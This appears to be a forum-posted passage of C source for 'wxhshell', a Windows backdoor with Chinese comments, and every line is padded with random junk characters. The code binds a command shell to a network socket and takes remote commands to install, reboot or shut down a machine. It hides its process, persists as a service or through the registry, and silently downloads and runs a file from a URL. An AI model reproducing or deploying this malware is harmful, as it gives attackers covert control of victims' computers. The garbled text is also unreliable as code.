  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %@! Vx  
  } I +,D,Vg  
  else { ;+-$=l3[a  
]|q\^k)JU  
    switch(cmd[0]) { i\S } aCm  
  qj71 rj  
  // 帮助 Ru?Ue4W^b  
  case '?': { yaf&SR@7k{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @1 #$  
    break; t|*PC   
  }  ?4 `K8  
  // 安装 @j$tpz  
  case 'i': { S,5>g07-`  
    if(Install()) ^uW!=%D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qYFol# =%  
    else GLb}_-|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7"f$;CN?~  
    break; `07u}]d8  
    } fB5Bh;K  
  // 卸载 ay2 m!s Q  
  case 'r': { M* W=v  
    if(Uninstall()) p[e|N;W8A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +w/Ax[K  
    else  "7!K'i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |}*k|  
    break; %E7+W{?*1  
    } US)wr  
  // 显示 wxhshell 所在路径 h<*l=`#  
  case 'p': { xZ@H{):  
    char svExeFile[MAX_PATH]; b?oT|@  
    strcpy(svExeFile,"\n\r"); VEd#LSh  
      strcat(svExeFile,ExeFile); O0"i>}g4  
        send(wsh,svExeFile,strlen(svExeFile),0); :~^ec|tp  
    break; { e2 (  
    } uNnwz%w  
  // 重启  Iz2K  
  case 'b': { yXNE2K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5;V#Z@S  
    if(Boot(REBOOT)) UD*#!H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dUn8Xqj1  
    else { -!MDYj+U  
    closesocket(wsh);  ew4IAF  
    ExitThread(0); @hm %0L  
    } TE*$NxQ 2  
    break; 0+8ThZ?n  
    } bF' ~&<c  
  // 关机 76)(G/  
  case 'd': { j:|60hDz^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mf@YmKbp  
    if(Boot(SHUTDOWN)) UL[4sv6\9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~`hI|i<]  
    else { R*TCoEKO  
    closesocket(wsh); 8N6a=[fv<  
    ExitThread(0); ^lu)'z%6  
    } N{/q p  
    break; 5vY h~|  
    } |.:O$/ Tt[  
  // 获取shell %>i7A?L  
  case 's': { mo#4jtCE  
    CmdShell(wsh); pP?J(0Q~  
    closesocket(wsh); c6s(f  
    ExitThread(0); c0<Y017sG  
    break; `Dh%c%j)  
  } N>Y`>5  
  // 退出 GU'5`Yzd9  
  case 'x': { f\~e&`PV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v5w I?HE  
    CloseIt(wsh); l4F4o6:]n  
    break; %8$JL=c  
    } ^i-%FY_i5}  
  // 离开 \9se~tAl3  
  case 'q': { j Xi<ZJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ynM{hN.+H  
    closesocket(wsh); T|ZZkNP|6  
    WSACleanup(); I2j;9Qcz  
    exit(1); "MC&!AMv  
    break; S97.O@V!$  
        } Z6>:k,-Ot  
  } )\^o<x2S  
  } :v{ $]wg  
1a4QWGpq  
  // 提示信息 +@%9pbM"z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V.Xz n  
} ~JLqx/[|s  
  } v_c'npC  
![abDT5![  
  return; {,APZ`q|  
} c#"\&~. P  
N>ct`a)BD/  
// shell模块句柄 w,3`Xq@  
int CmdShell(SOCKET sock) -#gb {vj  
{ ZFW}Vnl  
STARTUPINFO si; >w j7Y`  
ZeroMemory(&si,sizeof(si)); jI;bVG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q3NS?t!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tx5_e [  
PROCESS_INFORMATION ProcessInfo; 308w0eP  
char cmdline[]="cmd"; nZ\,ZqV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aE#ZTc=  
  return 0;  h *%T2  
} 7U.g4x|<  
 N%r}0  
// 自身启动模式 7=QV^G  
int StartFromService(void) <u2*(BM4  
{ fy_'K}i3k  
typedef struct ]; ^OY\,  
{ #(aROTV5a  
  DWORD ExitStatus; p6Z]oL q  
  DWORD PebBaseAddress; 5)$U<^uy  
  DWORD AffinityMask; /=e[(5X|O  
  DWORD BasePriority; sWavxh8A  
  ULONG UniqueProcessId; ziH2<@  
  ULONG InheritedFromUniqueProcessId; j~Gu;%tq  
}   PROCESS_BASIC_INFORMATION; m\Tq0cT$  
$d8A_CUU  
PROCNTQSIP NtQueryInformationProcess; 'd U$QO  
RTY$oUqlZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o=`9JKB~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ( ?/0$DB  
TdQ^^{SRp  
  HANDLE             hProcess; r]HLO'<]  
  PROCESS_BASIC_INFORMATION pbi; &-b=gnT   
[tD*\\IA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iBo-ANnK9  
  if(NULL == hInst ) return 0; Uw&+zJ  
<q[ *kr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'E&K%/d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~-:CN(U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &PgdCijGq;  
 v$tS 2N2  
  if (!NtQueryInformationProcess) return 0; cF(9[8c{  
:X4\4B*~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M9&tys[KX  
  if(!hProcess) return 0; ~ml\|  
FwW%@Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iMA)(ZS  
%BG5[ XQ7  
  CloseHandle(hProcess); xrX("ili  
CIaabn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6wu/6DO   
if(hProcess==NULL) return 0; ]@8=e'V  
hYWWvJ)S  
HMODULE hMod; %[Ds-my2  
char procName[255]; I^ >zr.z A  
unsigned long cbNeeded; -+PPz?0  
c''O+,L1+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CqX%V":2  
i@I%$!cB  
  CloseHandle(hProcess); 4Dd9cG,lN  
D$mrnm4d  
if(strstr(procName,"services")) return 1; // 以服务启动 l:|Fs=\  
H~~(v52wD  
  return 0; // 注册表启动 yv:NH|,/y  
} >u/yp[Ky  
(w^&NU'e  
// 主模块 ` q@~78`  
int StartWxhshell(LPSTR lpCmdLine) dY|jV}%T  
{ hqds T  
  SOCKET wsl; _ x'StD  
BOOL val=TRUE; <Q kfvK]Q  
  int port=0; |n|2)hC  
  struct sockaddr_in door; (gmB$pwS  
eS.]@ E-T  
  if(wscfg.ws_autoins) Install(); A"k,T7B  
j?mJ1J5  
port=atoi(lpCmdLine); _0f[.vN  
NkJ^ecn%)  
if(port<=0) port=wscfg.ws_port; y(S0 2v>l  
Z0:BXtW  
  WSADATA data; Grub1=6l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0jzA\$oD  
]e3nnS1*.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w[+!c-A:H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5;Z~+$1  
  door.sin_family = AF_INET; .iS]aJJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xD#/@E1'Y  
  door.sin_port = htons(port); .iYgRW=T  
@t^ 2/H ?O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $-0u`=!  
closesocket(wsl); %51pfuL  
return 1; >I!(CM":s$  
} zc{C+:3$^  
2~4C5@SxL  
  if(listen(wsl,2) == INVALID_SOCKET) { P>kx{^  
closesocket(wsl); #RD%GLY  
return 1; ;'Q{ ywr  
} (j /O=$mJ  
  Wxhshell(wsl); p4Y 9$(X  
  WSACleanup(); <@=NDUI3*,  
C;ye%&g>  
return 0; W9D)QIqbvW  
lm\u(3_ $  
} K%k,-  
4<Y?#bm'  
// 以NT服务方式启动 gf=*m"5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Pn#Lymxh_a  
{ QezK&iJg  
DWORD   status = 0; p[eRK .$!  
  DWORD   specificError = 0xfffffff; "<(~  
] QEw\4M?=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =3:ltI.'*I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $d=lDN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f1{ckHAY55  
  serviceStatus.dwWin32ExitCode     = 0; tc',c},h~,  
  serviceStatus.dwServiceSpecificExitCode = 0; O`=Uq0Vv  
  serviceStatus.dwCheckPoint       = 0; FdqUv% (Em  
  serviceStatus.dwWaitHint       = 0; k?#6j1pn  
40E[cGz$*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); neBkwXF!  
  if (hServiceStatusHandle==0) return; Pla EI p  
88K*d8m  
status = GetLastError(); S!]}}fKEFm  
  if (status!=NO_ERROR) 3:( `#YY  
{ rij[ZrJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zyr6Tv61U  
    serviceStatus.dwCheckPoint       = 0; ZZ(@:F  
    serviceStatus.dwWaitHint       = 0; 24Fxx9 g  
    serviceStatus.dwWin32ExitCode     = status; *8p</Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; GM/1u fZH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iiTUhO )  
    return; e'Pa@]VaC  
  } Cw}\t!*!  
\) ;rOqh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7`}z7nk  
  serviceStatus.dwCheckPoint       = 0; P33E\O  
  serviceStatus.dwWaitHint       = 0; kYAvzuGRb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nGVqVSxKT  
} 9PAp*`J@kr  
AL0Rn e N  
// 处理NT服务事件,比如:启动、停止 Fk(5y)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Kf4z*5Veqr  
{ !iw 'tHhR  
switch(fdwControl) ^~Sn{esA  
{ "ir*;|  
case SERVICE_CONTROL_STOP: EHZSM5hu  
  serviceStatus.dwWin32ExitCode = 0; "Tv7*3>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~-+Zu<  
  serviceStatus.dwCheckPoint   = 0; X3[!xMij  
  serviceStatus.dwWaitHint     = 0; :dzU]pk%0  
  { ) YFs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1%,Z&@^j  
  } =+ p+_}C  
  return; y6/X!+3+  
case SERVICE_CONTROL_PAUSE: CkU=0mcY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; : [y(<TLw  
  break; m"R(_E5  
case SERVICE_CONTROL_CONTINUE: g8Z14'Ke  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8##jd[o&p~  
  break; ^U}0D^jDeE  
case SERVICE_CONTROL_INTERROGATE: o[#a}5Y  
  break; >gl.(b25C  
}; (zBQ^97]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z3dd9m#.]  
} B/OO$=>(  
tOw 0(-:iq  
// 标准应用程序主函数 x8Sq+BY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7;NV 1RV  
{ jvQ"cs$.  
}H=OVbQor  
// 获取操作系统版本 (Y([^N q  
OsIsNt=GetOsVer(); }Kt?0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %5%Wo(W'  
8:xo ~Vc  
  // 从命令行安装 pC-OZ0  
  if(strpbrk(lpCmdLine,"iI")) Install(); VaxO L61xE  
__j8jEV  
  // 下载执行文件 nY)Pxahm7  
if(wscfg.ws_downexe) { `Tj}4f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R6;>RRU_  
  WinExec(wscfg.ws_filenam,SW_HIDE); F]YKYF'1I  
} Q8y|:tb$Y  
>U?Bka!  
if(!OsIsNt) { E 6: p  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^A`(  
HideProc(); M;qL)vf  
StartWxhshell(lpCmdLine); 5H+k_U  
} lIg2iun[n  
else Tm52=+uf$  
  if(StartFromService()) sE6J:m(  
  // 以服务方式启动 \aIy68rH,  
  StartServiceCtrlDispatcher(DispatchTable); %%6 ('wi  
else c'";3 6y  
  // 普通方式启动 dH|^\IQ  
  StartWxhshell(lpCmdLine); &F_rg,q&_  
x[UO1% _o-  
return 0; <q2nZI^  
}
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只看该作者 1 发表于: 2006-10-10
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